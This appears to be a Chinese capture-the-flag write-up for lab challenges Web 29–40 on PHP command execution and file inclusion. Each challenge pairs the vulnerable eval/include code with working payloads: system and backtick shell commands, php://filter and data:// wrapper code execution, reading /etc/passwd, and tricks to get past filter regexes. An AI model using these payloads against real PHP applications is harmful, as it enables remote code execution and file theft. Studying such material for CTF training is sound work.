可以事先看一下这篇文章方便做题 命令执行小技巧
Web 29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c))
{
eval($c);
}
}else{
highlight_file(__FILE__);
一.分析代码:
if(!preg_match("/flag/i", $c))
preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。从这句可以看出过滤了flag
二.解题过程:
方法一:
eveal函数
传入
?c=echo ‘’?><?php system(‘ls’);
可以看到有 flag.php文件,之后采用include结合伪协议进行包含读取
payload:
?c=echo ‘’?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php
关于ls命令的解释
方法二:
采用的是阿狸师傅的方法 阿狸师傅的讲解视频
1.首先查看一下php的版本,访问一下发现是7
?c=phpinfo();
2.接下来查看一下发现没有禁用函数
3.扫描一下当前目录有什么文件,发现有flag.php
?c=print_r(scandir("."));
4.经过一系列的尝试发现可以采用写入文件的方法
?c=system(“cat *php >>2.txt”);
*php是后缀为php,本句的意思是将后缀为php的写入2.txt中
5.之后访问/2.txt,即可得到flag
方法三:
涉及的知识点是通用符
我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件
?c=echo system('cat f*');
Web 30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php/i", $c))
过滤了flag,system,php
二.解题过程
方法一:
还是同29题方法
payload:
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
方法二:
还是采用的阿狸师傅的方法 阿狸师傅的讲解视频
1.事先了解以下
echo ls(输出ls)
`echo ls`(执行echo ls 命令)
2.如果在flag.php中直接写入flag
用cat ????.???可以输出flag
用echo cat ????.???可以输出 cat flag.php
用echo `cat ????.???`可以输出flag
但是都试一下发现并没有出现flag
3.是因为flag.php中可能是这样写入的
<?php
$flag
将flag当成变量,把程序进行了解析,执行了
4.那么我们就可以借鉴29题的思路,写入1.txt中
/?c=echo`cat ????.??? >> 1.txt`;
5.访问1.txt,即可得到flag
方法三:
反引号执行系统命令
使用通配符或*绕过过滤flag和php
?c=echo `cat f*`;
Web 31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
过滤了flag,system,php,cat,sort,shell,空格,单引号,.
二.解题思路:
方法一:
1.涉及的知识点:
空格过滤
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
cat过滤
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以*的向上向下翻页,也可以*的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
2.我们可以构造playload:
?c=echo(`tac%09f*`);
?c=echo(`tail%09f*`);
需要查看源码:
?c=echo(`nl%09f*`);
?c=echo(`less%09f*`);
?c=echo(`more%09f*`);
还有很多据不一一列举了
方法二:
采用include结合伪协议进行包含读取
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web 32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.
二.解题过程:
php中有许多不用括号的函数
<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>
尝试include"/etc/passwd"?>
可以执行,且代码没有过滤$
,用c=include"$_POST[x]"?>
或者c=include"$_GET[x]"?>
然后用php伪协议将include包含的文件在页面上显示出来
payload:?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web 33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
过滤了flag,system,php,cat,sort,shell,echo,分号,单引号,双引号,空格,括号,.,`
二.解题过程:
思路同上,但是本题过滤了单双引号
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web 34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,冒号,分号,括号,.,`
二.解题过程:
同上
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web 35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,分号,等号,冒号,括号,<,.,`
二.解题过程:
同上
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web 36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,数字,分号,等号,冒号,括号,<,.,`,/
二.解题过程:
同上
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web 37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag/i", $c)){
include($c);
过滤了flag ,又是 include 文件包含
二.解题过程:
利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
方法一:
flag使用*绕过
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
查看源码即可得到flag
方法二:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64解码为<?php system('cat flag.php');?>
查看源码即可得到flag
Web 38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag|php|file/i", $c)){
include($c);
原理同上一题,多了个php过滤
二.解题过程:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web 39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
if(!preg_match("/flag/i", $c)){
include($c.".php");
过滤了flag,限制了.php后缀
二.解题过程:
我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
查看源码即可得到flag
这样就相当于执行了php语句<?php system('cat f*')?>.php
Web 40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
一.分析代码:
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号
二.解题过程:
事先我们可以先了解一下:
无参数读文件和RCE总结 ,[GXYCTF2019]禁止套娃 ,
PHP Parametric Function RCE
涉及的知识点:
读文件+数组改造
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序 scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。具体内容如下
我们的目的很明确,得到倒数第二个元素。直接将数组逆序在将指针调整到下一个就好了。